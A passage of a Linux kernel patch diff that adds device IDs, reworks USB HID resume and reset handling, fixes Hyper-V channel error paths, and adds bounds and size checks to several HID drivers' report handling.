a/drivers/gpu/drm/vmwgfx/vmwgfx_drv.c +++ b/drivers/gpu/drm/vmwgfx/vmwgfx_drv.c @@ -25,6 +25,7 @@ * **************************************************************************/ #include +#include #include #include "vmwgfx_drv.h" @@ -1192,6 +1193,12 @@ static int vmw_probe(struct pci_dev *pdev, const struct pci_device_id *ent) static int __init vmwgfx_init(void) { int ret; + +#ifdef CONFIG_VGA_CONSOLE + if (vgacon_text_force()) + return -EINVAL; +#endif + ret = drm_pci_init(&driver, &vmw_pci_driver); if (ret) DRM_ERROR("Failed initializing DRM.\n"); diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_fence.c b/drivers/gpu/drm/vmwgfx/vmwgfx_fence.c index c62d20e8a6f16..ee742f14ddc27 100644 --- a/drivers/gpu/drm/vmwgfx/vmwgfx_fence.c +++ b/drivers/gpu/drm/vmwgfx/vmwgfx_fence.c @@ -1049,6 +1049,8 @@ int vmw_event_fence_action_create(struct drm_file *file_priv, if (ret != 0) goto out_no_queue; + return 0; + out_no_queue: event->base.destroy(&event->base); out_no_event: @@ -1123,17 +1125,10 @@ int vmw_fence_event_ioctl(struct drm_device *dev, void *data, BUG_ON(fence == NULL); - if (arg->flags & DRM_VMW_FE_FLAG_REQ_TIME) - ret = vmw_event_fence_action_create(file_priv, fence, - arg->flags, - arg->user_data, - true); - else - ret = vmw_event_fence_action_create(file_priv, fence, - arg->flags, - arg->user_data, - true); - + ret = vmw_event_fence_action_create(file_priv, fence, + arg->flags, + arg->user_data, + true); if (unlikely(ret != 0)) { if (ret != -ERESTARTSYS) DRM_ERROR("Failed to attach event to fence.\n"); diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_fifo.c b/drivers/gpu/drm/vmwgfx/vmwgfx_fifo.c index 3eb148667d638..89664933861fd 100644 --- a/drivers/gpu/drm/vmwgfx/vmwgfx_fifo.c +++ b/drivers/gpu/drm/vmwgfx/vmwgfx_fifo.c @@ -163,8 +163,9 @@ void vmw_fifo_release(struct vmw_private *dev_priv, struct vmw_fifo_state *fifo) mutex_lock(&dev_priv->hw_mutex); + vmw_write(dev_priv, SVGA_REG_SYNC, SVGA_SYNC_GENERIC); while (vmw_read(dev_priv, SVGA_REG_BUSY) != 0) - vmw_write(dev_priv, SVGA_REG_SYNC, SVGA_SYNC_GENERIC); + ; dev_priv->last_read_seqno = ioread32(fifo_mem + SVGA_FIFO_FENCE); diff --git a/drivers/gpu/vga/vgaarb.c b/drivers/gpu/vga/vgaarb.c index e893f6e1937d7..3c84e96a485a9 100644 --- a/drivers/gpu/vga/vgaarb.c +++ b/drivers/gpu/vga/vgaarb.c @@ -392,8 +392,10 @@ int vga_get(struct pci_dev *pdev, unsigned int rsrc, int interruptible) set_current_state(interruptible ? TASK_INTERRUPTIBLE : TASK_UNINTERRUPTIBLE); - if (signal_pending(current)) { - rc = -EINTR; + if (interruptible && signal_pending(current)) { + __set_current_state(TASK_RUNNING); + remove_wait_queue(&vga_wait_queue, &wait); + rc = -ERESTARTSYS; break; } schedule(); diff --git a/drivers/hid/hid-cherry.c b/drivers/hid/hid-cherry.c index 1bdcccc54a1dd..f745d2c1325ec 100644 --- a/drivers/hid/hid-cherry.c +++ b/drivers/hid/hid-cherry.c @@ -28,7 +28,7 @@ static __u8 *ch_report_fixup(struct hid_device *hdev, __u8 *rdesc, unsigned int *rsize) { - if (*rsize >= 17 && rdesc[11] == 0x3c && rdesc[12] == 0x02) { + if (*rsize >= 18 && rdesc[11] == 0x3c && rdesc[12] == 0x02) { hid_info(hdev, "fixing up Cherry Cymotion report descriptor\n"); rdesc[11] = rdesc[16] = 0xff; rdesc[12] = rdesc[17] = 0x03; diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c index 2d45a4f934326..5b45fc0093f4c 100644 --- a/drivers/hid/hid-core.c +++ b/drivers/hid/hid-core.c @@ -1465,7 +1465,7 @@ int hid_connect(struct hid_device *hdev, unsigned int connect_mask) "Multi-Axis Controller" }; const char *type, *bus; - char buf[64]; + char buf[64] = ""; unsigned int i; int len; int ret; @@ -1693,6 +1693,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_ERGO_525V) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_I405X) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X) }, + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X) }, { HID_USB_DEVICE(USB_VENDOR_ID_LABTEC, USB_DEVICE_ID_LABTEC_WIRELESS_KEYBOARD) }, { HID_USB_DEVICE(USB_VENDOR_ID_LCPOWER, USB_DEVICE_ID_LCPOWER_LC1000 ) }, diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h index f32bbc1723948..5c021b0871d12 100644 --- a/drivers/hid/hid-ids.h +++ b/drivers/hid/hid-ids.h @@ -481,6 +481,7 @@ #define USB_DEVICE_ID_KYE_GPEN_560 0x5003 #define USB_DEVICE_ID_KYE_EASYPEN_I405X 0x5010 #define USB_DEVICE_ID_KYE_MOUSEPEN_I608X 0x5011 +#define USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2 0x501a #define USB_DEVICE_ID_KYE_EASYPEN_M610X 0x5013 #define USB_VENDOR_ID_LABTEC 0x1020 diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c index 0f9950e8239a7..8fae6e3cafe67 100644 --- a/drivers/hid/hid-input.c +++ b/drivers/hid/hid-input.c @@ -316,6 +316,9 @@ static const struct hid_device_id hid_battery_quirks[] = { { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI), HID_BATTERY_QUIRK_PERCENT | HID_BATTERY_QUIRK_FEATURE }, + { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, + USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO), + HID_BATTERY_QUIRK_PERCENT | HID_BATTERY_QUIRK_FEATURE }, { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_ANSI), HID_BATTERY_QUIRK_PERCENT | HID_BATTERY_QUIRK_FEATURE }, @@ -1080,8 +1083,25 @@ void hidinput_hid_event(struct hid_device *hid, struct hid_field *field, struct return; } + /* + * Ignore reports for absolute data if the data didn't change. This is + * not only an optimization but also fixes 'dead' key reports. Some + * RollOver implementations for localized keys (like BACKSLASH/PIPE; HID + * 0x31 and 0x32) report multiple keys, even though a localized keyboard + * can only have one of them physically available. The 'dead' keys + * report constant 0. As all map to the same keycode, they'd confuse + * the input layer. If we filter the 'dead' keys on the HID level, we + * skip the keycode translation and only forward real events. + */ + if (!(field->flags & (HID_MAIN_ITEM_RELATIVE | + HID_MAIN_ITEM_BUFFERED_BYTE)) && + (field->flags & HID_MAIN_ITEM_VARIABLE) && + usage->usage_index < field->maxusage && + value == field->value[usage->usage_index]) + return; + /* report the usage code as scancode if the key status has changed */ - if (usage->type == EV_KEY && !!test_bit(usage->code, input->key) != value) + if (usage->type == EV_KEY && (!!test_bit(usage->code, input->key)) != value) input_event(input, EV_MSC, MSC_SCAN, usage->hid); input_event(input, usage->type, usage->code, value); diff --git a/drivers/hid/hid-kye.c b/drivers/hid/hid-kye.c index 6af90dbdc3d45..973eed788cc6f 100644 --- a/drivers/hid/hid-kye.c +++ b/drivers/hid/hid-kye.c @@ -280,7 +280,7 @@ static __u8 *kye_report_fixup(struct hid_device *hdev, __u8 *rdesc, * - change the button usage range to 4-7 for the extra * buttons */ - if (*rsize >= 74 && + if (*rsize >= 75 && rdesc[61] == 0x05 && rdesc[62] == 0x08 && rdesc[63] == 0x19 && rdesc[64] == 0x08 && rdesc[65] == 0x29 && rdesc[66] == 0x0f && @@ -303,6 +303,7 @@ static __u8 *kye_report_fixup(struct hid_device *hdev, __u8 *rdesc, } break; case USB_DEVICE_ID_KYE_MOUSEPEN_I608X: + case USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2: if (*rsize == MOUSEPEN_I608X_RDESC_ORIG_SIZE) { rdesc = mousepen_i608x_rdesc_fixed; *rsize = sizeof(mousepen_i608x_rdesc_fixed); @@ -383,6 +384,7 @@ static int kye_probe(struct hid_device *hdev, const struct hid_device_id *id) switch (id->product) { case USB_DEVICE_ID_KYE_EASYPEN_I405X: case USB_DEVICE_ID_KYE_MOUSEPEN_I608X: + case USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2: case USB_DEVICE_ID_KYE_EASYPEN_M610X: ret = kye_tablet_enable(hdev); if (ret) { @@ -405,6 +407,8 @@ static const struct hid_device_id kye_devices[] = { USB_DEVICE_ID_KYE_EASYPEN_I405X) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X) }, + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, + USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X) }, { } diff --git a/drivers/hid/hid-lg.c b/drivers/hid/hid-lg.c index 06eb45fa6331f..12fc48c968e69 100644 --- a/drivers/hid/hid-lg.c +++ b/drivers/hid/hid-lg.c @@ -345,14 +345,14 @@ static __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc, struct usb_device_descriptor *udesc; __u16 bcdDevice, rev_maj, rev_min; - if ((drv_data->quirks & LG_RDESC) && *rsize >= 90 && rdesc[83] == 0x26 && + if ((drv_data->quirks & LG_RDESC) && *rsize >= 91 && rdesc[83] == 0x26 && rdesc[84] == 0x8c && rdesc[85] == 0x02) { hid_info(hdev, "fixing up Logitech keyboard report descriptor\n"); rdesc[84] = rdesc[89] = 0x4d; rdesc[85] = rdesc[90] = 0x10; } - if ((drv_data->quirks & LG_RDESC_REL_ABS) && *rsize >= 50 && + if ((drv_data->quirks & LG_RDESC_REL_ABS) && *rsize >= 51 && rdesc[32] == 0x81 && rdesc[33] == 0x06 && rdesc[49] == 0x81 && rdesc[50] == 0x06) { hid_info(hdev, diff --git a/drivers/hid/hid-logitech-dj.c b/drivers/hid/hid-logitech-dj.c index 1be9156a39505..d4c6d9f85ca51 100644 --- a/drivers/hid/hid-logitech-dj.c +++ b/drivers/hid/hid-logitech-dj.c @@ -237,13 +237,6 @@ static void logi_dj_recv_add_djhid_device(struct dj_receiver_dev *djrcv_dev, return; } - if ((dj_report->device_index < DJ_DEVICE_INDEX_MIN) || - (dj_report->device_index > DJ_DEVICE_INDEX_MAX)) { - dev_err(&djrcv_hdev->dev, "%s: invalid device index:%d\n", - __func__, dj_report->device_index); - return; - } - if (djrcv_dev->paired_dj_devices[dj_report->device_index]) { /* The device is already known. No need to reallocate it. */ dbg_hid("%s: device is already known\n", __func__); @@ -686,7 +679,6 @@ static int logi_dj_raw_event(struct hid_device *hdev, struct dj_receiver_dev *djrcv_dev = hid_get_drvdata(hdev); struct dj_report *dj_report = (struct dj_report *) data; unsigned long flags; - bool report_processed = false; dbg_hid("%s, size:%d\n", __func__, size); @@ -714,27 +706,41 @@ static int logi_dj_raw_event(struct hid_device *hdev, * anything else with it. */ + /* case 1) */ + if (data[0] != REPORT_ID_DJ_SHORT) + return false; + + if ((dj_report->device_index < DJ_DEVICE_INDEX_MIN) || + (dj_report->device_index > DJ_DEVICE_INDEX_MAX)) { + /* + * Device index is wrong, bail out. + * This driver can ignore safely the receiver notifications, + * so ignore those reports too. + */ + if (dj_report->device_index != DJ_RECEIVER_INDEX) + dev_err(&hdev->dev, "%s: invalid device index:%d\n", + __func__, dj_report->device_index); + return false; + } + spin_lock_irqsave(&djrcv_dev->lock, flags); - if (dj_report->report_id == REPORT_ID_DJ_SHORT) { - switch (dj_report->report_type) { - case REPORT_TYPE_NOTIF_DEVICE_PAIRED: - case REPORT_TYPE_NOTIF_DEVICE_UNPAIRED: - logi_dj_recv_queue_notification(djrcv_dev, dj_report); - break; - case REPORT_TYPE_NOTIF_CONNECTION_STATUS: - if (dj_report->report_params[CONNECTION_STATUS_PARAM_STATUS] == - STATUS_LINKLOSS) { - logi_dj_recv_forward_null_report(djrcv_dev, dj_report); - } - break; - default: - logi_dj_recv_forward_report(djrcv_dev, dj_report); + switch (dj_report->report_type) { + case REPORT_TYPE_NOTIF_DEVICE_PAIRED: + case REPORT_TYPE_NOTIF_DEVICE_UNPAIRED: + logi_dj_recv_queue_notification(djrcv_dev, dj_report); + break; + case REPORT_TYPE_NOTIF_CONNECTION_STATUS: + if (dj_report->report_params[CONNECTION_STATUS_PARAM_STATUS] == + STATUS_LINKLOSS) { + logi_dj_recv_forward_null_report(djrcv_dev, dj_report); } - report_processed = true; + break; + default: + logi_dj_recv_forward_report(djrcv_dev, dj_report); } spin_unlock_irqrestore(&djrcv_dev->lock, flags); - return report_processed; + return true; } static int logi_dj_probe(struct hid_device *hdev, diff --git a/drivers/hid/hid-logitech-dj.h b/drivers/hid/hid-logitech-dj.h index 4a4000340ce1e..daeb0aa4bee99 100644 --- a/drivers/hid/hid-logitech-dj.h +++ b/drivers/hid/hid-logitech-dj.h @@ -27,6 +27,7 @@ #define DJ_MAX_PAIRED_DEVICES 6 #define DJ_MAX_NUMBER_NOTIFICATIONS 8 +#define DJ_RECEIVER_INDEX 0 #define DJ_DEVICE_INDEX_MIN 1 #define DJ_DEVICE_INDEX_MAX 6 diff --git a/drivers/hid/hid-magicmouse.c b/drivers/hid/hid-magicmouse.c index 4b1e506158120..d9c3dcca4a23e 100644 --- a/drivers/hid/hid-magicmouse.c +++ b/drivers/hid/hid-magicmouse.c @@ -290,6 +290,11 @@ static int magicmouse_raw_event(struct hid_device *hdev, if (size < 4 || ((size - 4) % 9) != 0) return 0; npoints = (size - 4) / 9; + if (npoints > 15) { + hid_warn(hdev, "invalid size value (%d) for TRACKPAD_REPORT_ID\n", + size); + return 0; + } msc->ntouches = 0; for (ii = 0; ii < npoints; ii++) magicmouse_emit_touch(msc, ii, data + ii * 9 + 4); @@ -307,6 +312,11 @@ static int magicmouse_raw_event(struct hid_device *hdev, if (size < 6 || ((size - 6) % 8) != 0) return 0; npoints = (size - 6) / 8; + if (npoints > 15) { + hid_warn(hdev, "invalid size value (%d) for MOUSE_REPORT_ID\n", + size); + return 0; + } msc->ntouches = 0; for (ii = 0; ii < npoints; ii++) magicmouse_emit_touch(msc, ii, data + ii * 8 + 6); diff --git a/drivers/hid/hid-monterey.c b/drivers/hid/hid-monterey.c index 9e14c00eb1b6b..25daf28b26bdf 100644 --- a/drivers/hid/hid-monterey.c +++ b/drivers/hid/hid-monterey.c @@ -24,7 +24,7 @@ static __u8 *mr_report_fixup(struct hid_device *hdev, __u8 *rdesc, unsigned int *rsize) { - if (*rsize >= 30 && rdesc[29] == 0x05 && rdesc[30] == 0x09) { + if (*rsize >= 31 && rdesc[29] == 0x05 && rdesc[30] == 0x09) { hid_info(hdev, "fixing up button/consumer in HID report descriptor\n"); rdesc[30] = 0x0c; } diff --git a/drivers/hid/hid-petalynx.c b/drivers/hid/hid-petalynx.c index 736b2502df4f8..6aca4f2554bf4 100644 --- a/drivers/hid/hid-petalynx.c +++ b/drivers/hid/hid-petalynx.c @@ -25,7 +25,7 @@ static __u8 *pl_report_fixup(struct hid_device *hdev, __u8 *rdesc, unsigned int *rsize) { - if (*rsize >= 60 && rdesc[39] == 0x2a && rdesc[40] == 0xf5 && + if (*rsize >= 62 && rdesc[39] == 0x2a && rdesc[40] == 0xf5 && rdesc[41] == 0x00 && rdesc[59] == 0x26 && rdesc[60] == 0xf9 && rdesc[61] == 0x00) { hid_info(hdev, "fixing up Petalynx Maxter Remote report descriptor\n"); diff --git a/drivers/hid/hid-picolcd_core.c b/drivers/hid/hid-picolcd_core.c index acbb021065ece..020df3c2e8b42 100644 --- a/drivers/hid/hid-picolcd_core.c +++ b/drivers/hid/hid-picolcd_core.c @@ -350,6 +350,12 @@ static int picolcd_raw_event(struct hid_device *hdev, if (!data) return 1; + if (size > 64) { + hid_warn(hdev, "invalid size value (%d) for picolcd raw event\n", + size); + return 0; + } + if (report->id == REPORT_KEY_STATE) { if (data->input_keys) ret = picolcd_raw_keypad(data, report, raw_data+1, size-1); diff --git a/drivers/hid/hid-roccat-pyra.c b/drivers/hid/hid-roccat-pyra.c index d4f1e3bee5909..264ddc4a01185 100644 --- a/drivers/hid/hid-roccat-pyra.c +++ b/drivers/hid/hid-roccat-pyra.c @@ -35,6 +35,8 @@ static struct class *pyra_class; static void profile_activated(struct pyra_device *pyra, unsigned int new_profile) { + if (new_profile >= ARRAY_SIZE(pyra->profile_settings)) + return; pyra->actual_profile = new_profile; pyra->actual_cpi = pyra->profile_settings[pyra->actual_profile].y_cpi; } @@ -236,9 +238,11 @@ static ssize_t pyra_sysfs_write_settings(struct file *fp, if (off != 0 || count != PYRA_SIZE_SETTINGS) return -EINVAL; - mutex_lock(&pyra->pyra_lock); - settings = (struct pyra_settings const *)buf; + if (settings->startup_profile >= ARRAY_SIZE(pyra->profile_settings)) + return -EINVAL; + + mutex_lock(&pyra->pyra_lock); retval = pyra_set_settings(usb_dev, settings); if (retval) { diff --git a/drivers/hid/hid-sunplus.c b/drivers/hid/hid-sunplus.c index 87fc91e1c8de4..91072fa54663e 100644 --- a/drivers/hid/hid-sunplus.c +++ b/drivers/hid/hid-sunplus.c @@ -24,7 +24,7 @@ static __u8 *sp_report_fixup(struct hid_device *hdev, __u8 *rdesc, unsigned int *rsize) { - if (*rsize >= 107 && rdesc[104] == 0x26 && rdesc[105] == 0x80 && + if (*rsize >= 112 && rdesc[104] == 0x26 && rdesc[105] == 0x80 && rdesc[106] == 0x03) { hid_info(hdev, "fixing up Sunplus Wireless Desktop report descriptor\n"); rdesc[105] = rdesc[110] = 0x03; diff --git a/drivers/hid/i2c-hid/i2c-hid.c b/drivers/hid/i2c-hid/i2c-hid.c index 2b1799a3b212d..ccc2f36bb3349 100644 --- a/drivers/hid/i2c-hid/i2c-hid.c +++ b/drivers/hid/i2c-hid/i2c-hid.c @@ -134,6 +134,7 @@ struct i2c_hid { * descriptor. */ unsigned int bufsize; /* i2c buffer size */ char *inbuf; /* Input buffer */ + char *rawbuf; /* Raw Input buffer */ char *cmdbuf; /* Command buffer */ char *argsbuf; /* Command arguments buffer */ @@ -342,6 +343,9 @@ static void i2c_hid_get_input(struct i2c_hid *ihid) int ret, ret_size; int size = le16_to_cpu(ihid->hdesc.wMaxInputLength); + if (size > ihid->bufsize) + size = ihid->bufsize; + ret = i2c_master_recv(ihid->client, ihid->inbuf, size); if (ret != size) { if (ret < 0) @@ -471,9 +475,11 @@ static void i2c_hid_find_max_report(struct hid_device *hid, unsigned int type, static void i2c_hid_free_buffers(struct i2c_hid *ihid) { kfree(ihid->inbuf); + kfree(ihid->rawbuf); kfree(ihid->argsbuf); kfree(ihid->cmdbuf); ihid->inbuf = NULL; + ihid->rawbuf = NULL; ihid->cmdbuf = NULL; ihid->argsbuf = NULL; ihid->bufsize = 0; @@ -489,10 +495,11 @@ static int i2c_hid_alloc_buffers(struct i2c_hid *ihid, size_t report_size) report_size; /* report */ ihid->inbuf = kzalloc(report_size, GFP_KERNEL); + ihid->rawbuf = kzalloc(report_size, GFP_KERNEL); ihid->argsbuf = kzalloc(args_len, GFP_KERNEL); ihid->cmdbuf = kzalloc(sizeof(union command) + args_len, GFP_KERNEL); - if (!ihid->inbuf || !ihid->argsbuf || !ihid->cmdbuf) { + if (!ihid->inbuf || !ihid->rawbuf || !ihid->argsbuf || !ihid->cmdbuf) { i2c_hid_free_buffers(ihid); return -ENOMEM; } @@ -519,12 +526,12 @@ static int i2c_hid_get_raw_report(struct hid_device *hid, ret = i2c_hid_get_report(client, report_type == HID_FEATURE_REPORT ? 0x03 : 0x01, - report_number, ihid->inbuf, ask_count); + report_number, ihid->rawbuf, ask_count); if (ret < 0) return ret; - ret_count = ihid->inbuf[0] | (ihid->inbuf[1] << 8); + ret_count = ihid->rawbuf[0] | (ihid->rawbuf[1] << 8); if (ret_count <= 2) return 0; @@ -533,7 +540,7 @@ static int i2c_hid_get_raw_report(struct hid_device *hid, /* The query buffer contains the size, dropping it in the reply */ count = min(count, ret_count - 2); - memcpy(buf, ihid->inbuf + 2, count); + memcpy(buf, ihid->rawbuf + 2, count); return count; } diff --git a/drivers/hid/usbhid/hid-core.c b/drivers/hid/usbhid/hid-core.c index ada164e1b3a1f..92aef9824d6f6 100644 --- a/drivers/hid/usbhid/hid-core.c +++ b/drivers/hid/usbhid/hid-core.c @@ -180,7 +180,7 @@ static void hid_io_error(struct hid_device *hid) if (time_after(jiffies, usbhid->stop_retry)) { /* Retries failed, so do a port reset unless we lack bandwidth*/ - if (test_bit(HID_NO_BANDWIDTH, &usbhid->iofl) + if (!test_bit(HID_NO_BANDWIDTH, &usbhid->iofl) && !test_and_set_bit(HID_RESET_PENDING, &usbhid->iofl)) { schedule_work(&usbhid->reset_work); @@ -490,8 +490,6 @@ static void hid_ctrl(struct urb *urb) struct usbhid_device *usbhid = hid->driver_data; int unplug = 0, status = urb->status; - spin_lock(&usbhid->lock); - switch (status) { case 0: /* success */ if (usbhid->ctrl[usbhid->ctrltail].dir == USB_DIR_IN) @@ -511,6 +509,8 @@ static void hid_ctrl(struct urb *urb) hid_warn(urb->dev, "ctrl urb status %d received\n", status); } + spin_lock(&usbhid->lock); + if (unplug) { usbhid->ctrltail = usbhid->ctrlhead; } else { @@ -988,14 +988,6 @@ static int usbhid_output_raw_report(struct hid_device *hid, __u8 *buf, size_t co return ret; } -static void usbhid_restart_queues(struct usbhid_device *usbhid) -{ - if (usbhid->urbout && !test_bit(HID_OUT_RUNNING, &usbhid->iofl)) - usbhid_restart_out_queue(usbhid); - if (!test_bit(HID_CTRL_RUNNING, &usbhid->iofl)) - usbhid_restart_ctrl_queue(usbhid); -} - static void hid_free_buffers(struct usb_device *dev, struct hid_device *hid) { struct usbhid_device *usbhid = hid->driver_data; @@ -1412,6 +1404,37 @@ static void hid_cease_io(struct usbhid_device *usbhid) usb_kill_urb(usbhid->urbout); } +static void hid_restart_io(struct hid_device *hid) +{ + struct usbhid_device *usbhid = hid->driver_data; + int clear_halt = test_bit(HID_CLEAR_HALT, &usbhid->iofl); + int reset_pending = test_bit(HID_RESET_PENDING, &usbhid->iofl); + + spin_lock_irq(&usbhid->lock); + clear_bit(HID_SUSPENDED, &usbhid->iofl); + usbhid_mark_busy(usbhid); + + if (clear_halt || reset_pending) + schedule_work(&usbhid->reset_work); + usbhid->retry_delay = 0; + spin_unlock_irq(&usbhid->lock); + + if (reset_pending || !test_bit(HID_STARTED, &usbhid->iofl)) + return; + + if (!clear_halt) { + if (hid_start_in(hid) < 0) + hid_io_error(hid); + } + + spin_lock_irq(&usbhid->lock); + if (usbhid->urbout && !test_bit(HID_OUT_RUNNING, &usbhid->iofl)) + usbhid_restart_out_queue(usbhid); + if (!test_bit(HID_CTRL_RUNNING, &usbhid->iofl)) + usbhid_restart_ctrl_queue(usbhid); + spin_unlock_irq(&usbhid->lock); +} + /* Treat USB reset pretty much the same as suspend/resume */ static int hid_pre_reset(struct usb_interface *intf) { @@ -1461,14 +1484,14 @@ static int hid_post_reset(struct usb_interface *intf) return 1; } + /* No need to do another reset or clear a halted endpoint */ spin_lock_irq(&usbhid->lock); clear_bit(HID_RESET_PENDING, &usbhid->iofl); + clear_bit(HID_CLEAR_HALT, &usbhid->iofl); spin_unlock_irq(&usbhid->lock); hid_set_idle(dev, intf->cur_altsetting->desc.bInterfaceNumber, 0, 0); - status = hid_start_in(hid); - if (status < 0) - hid_io_error(hid); - usbhid_restart_queues(usbhid); + + hid_restart_io(hid); return 0; } @@ -1491,25 +1514,9 @@ void usbhid_put_power(struct hid_device *hid) #ifdef CONFIG_PM static int hid_resume_common(struct hid_device *hid, bool driver_suspended) { - struct usbhid_device *usbhid = hid->driver_data; - int status; - - spin_lock_irq(&usbhid->lock); - clear_bit(HID_SUSPENDED, &usbhid->iofl); - usbhid_mark_busy(usbhid); - - if (test_bit(HID_CLEAR_HALT, &usbhid->iofl) || - test_bit(HID_RESET_PENDING, &usbhid->iofl)) - schedule_work(&usbhid->reset_work); - usbhid->retry_delay = 0; - - usbhid_restart_queues(usbhid); - spin_unlock_irq(&usbhid->lock); - - status = hid_start_in(hid); - if (status < 0) - hid_io_error(hid); + int status = 0; + hid_restart_io(hid); if (driver_suspended && hid->driver && hid->driver->resume) status = hid->driver->resume(hid); return status; @@ -1576,12 +1583,8 @@ static int hid_suspend(struct usb_interface *intf, pm_message_t message) static int hid_resume(struct usb_interface *intf) { struct hid_device *hid = usb_get_intfdata (intf); - struct usbhid_device *usbhid = hid->driver_data; int status; - if (!test_bit(HID_STARTED, &usbhid->iofl)) - return 0; - status = hid_resume_common(hid, true); dev_dbg(&intf->dev, "resume status %d\n", status); return 0; @@ -1590,10 +1593,8 @@ static int hid_resume(struct usb_interface *intf) static int hid_reset_resume(struct usb_interface *intf) { struct hid_device *hid = usb_get_intfdata(intf); - struct usbhid_device *usbhid = hid->driver_data; int status; - clear_bit(HID_SUSPENDED, &usbhid->iofl); status = hid_post_reset(intf); if (status >= 0 && hid->driver && hid->driver->reset_resume) { int ret = hid->driver->reset_resume(hid); diff --git a/drivers/hid/usbhid/hid-quirks.c b/drivers/hid/usbhid/hid-quirks.c index 0db9a67278ba2..5b46a79dcb1f7 100644 --- a/drivers/hid/usbhid/hid-quirks.c +++ b/drivers/hid/usbhid/hid-quirks.c @@ -110,6 +110,7 @@ static const struct hid_blacklist { { USB_VENDOR_ID_CHICONY, USB_DEVICE_ID_CHICONY_WIRELESS, HID_QUIRK_MULTI_INPUT }, { USB_VENDOR_ID_SIGMA_MICRO, USB_DEVICE_ID_SIGMA_MICRO_KEYBOARD, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X, HID_QUIRK_MULTI_INPUT }, + { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2, HID_QUIRK_MULTI_INPUT }, { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X, HID_QUIRK_MULTI_INPUT }, { USB_VENDOR_ID_NTRIG, USB_DEVICE_ID_NTRIG_DUOSENSE, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_SYNAPTICS, USB_DEVICE_ID_SYNAPTICS_LTS1, HID_QUIRK_NO_INIT_REPORTS }, diff --git a/drivers/hv/channel.c b/drivers/hv/channel.c index 0b122f8c7005b..05e6a7d13d4e0 100644 --- a/drivers/hv/channel.c +++ b/drivers/hv/channel.c @@ -169,7 +169,7 @@ int vmbus_open(struct vmbus_channel *newchannel, u32 send_ringbuffer_size, GFP_KERNEL); if (!open_info) { err = -ENOMEM; - goto error0; + goto error_gpadl; } init_completion(&open_info->waitevent); @@ -185,7 +185,7 @@ int vmbus_open(struct vmbus_channel *newchannel, u32 send_ringbuffer_size, if (userdatalen > MAX_USER_DEFINED_BYTES) { err = -EINVAL; - goto error0; + goto error_gpadl; } if (userdatalen) @@ -199,8 +199,10 @@ int vmbus_open(struct vmbus_channel *newchannel, u32 send_ringbuffer_size, ret = vmbus_post_msg(open_msg, sizeof(struct vmbus_channel_open_channel)); - if (ret != 0) + if (ret != 0) { + err = ret; goto error1; + } t = wait_for_completion_timeout(&open_info->waitevent, 5*HZ); if (t == 0) { @@ -224,6 +226,9 @@ int vmbus_open(struct vmbus_channel *newchannel, u32 send_ringbuffer_size, list_del(&open_info->msglistentry); spin_unlock_irqrestore(&vmbus_connection.channelmsg_lock, flags); +error_gpadl: + vmbus_teardown_gpadl(newchannel, newchannel->ringbuffer_gpadlhandle); + error0: free_pages((unsigned long)out, get_order(send_ringbuffer_size + recv_ringbuffer_size)); @@ -392,7 +397,6 @@ int vmbus_establish_gpadl(struct vmbus_channel *channel, void *kbuffer, u32 next_gpadl_handle; unsigned long flags; int ret = 0; - int t; next_gpadl_handle = atomic_read(&vmbus_connection.next_gpadl_handle); atomic_inc(&vmbus_connection.next_gpadl_handle); @@ -439,9 +443,7 @@ int vmbus_establish_gpadl(struct vmbus_channel *channel, void *kbuffer, } } - t = wait_for_completion_timeout(&msginfo->waitevent, 5*HZ); - BUG_ON(t == 0); - + wait_for_completion(&msginfo->waitevent); /* At this point, we received the gpadl created msg */ *gpadl_handle = gpadlmsg->gpadl; @@ -464,7 +466,7 @@ int vmbus_teardown_gpadl(struct vmbus_channel *channel, u32 gpadl_handle) struct vmbus_channel_gpadl_teardown *msg; struct vmbus_channel_msginfo *info; unsigned long flags; - int ret, t; + int ret; info = kmalloc(sizeof(*info) + sizeof(struct vmbus_channel_gpadl_teardown), GFP_KERNEL); @@ -486,11 +488,12 @@ int vmbus_teardown_gpadl(struct vmbus_channel *channel, u32 gpadl_handle) ret = vmbus_post_msg(msg, sizeof(struct vmbus_channel_gpadl_teardown)); - BUG_ON(ret != 0); - t = wait_for_completion_timeout(&info->waitevent, 5*HZ); - BUG_ON(t == 0); + if (ret) + goto post_msg_err; + + wait_for_completion(&info->waitevent); - /* Received a torndown response */ +post_msg_err: spin_lock_irqsave(&vmbus_connection.channelmsg_lock, flags); list_del(&info->msglistentry); spin_unlock_irqrestore(&vmbus_connection.channelmsg_lock, flags); diff --git a/drivers/hv/channel_mgmt.c 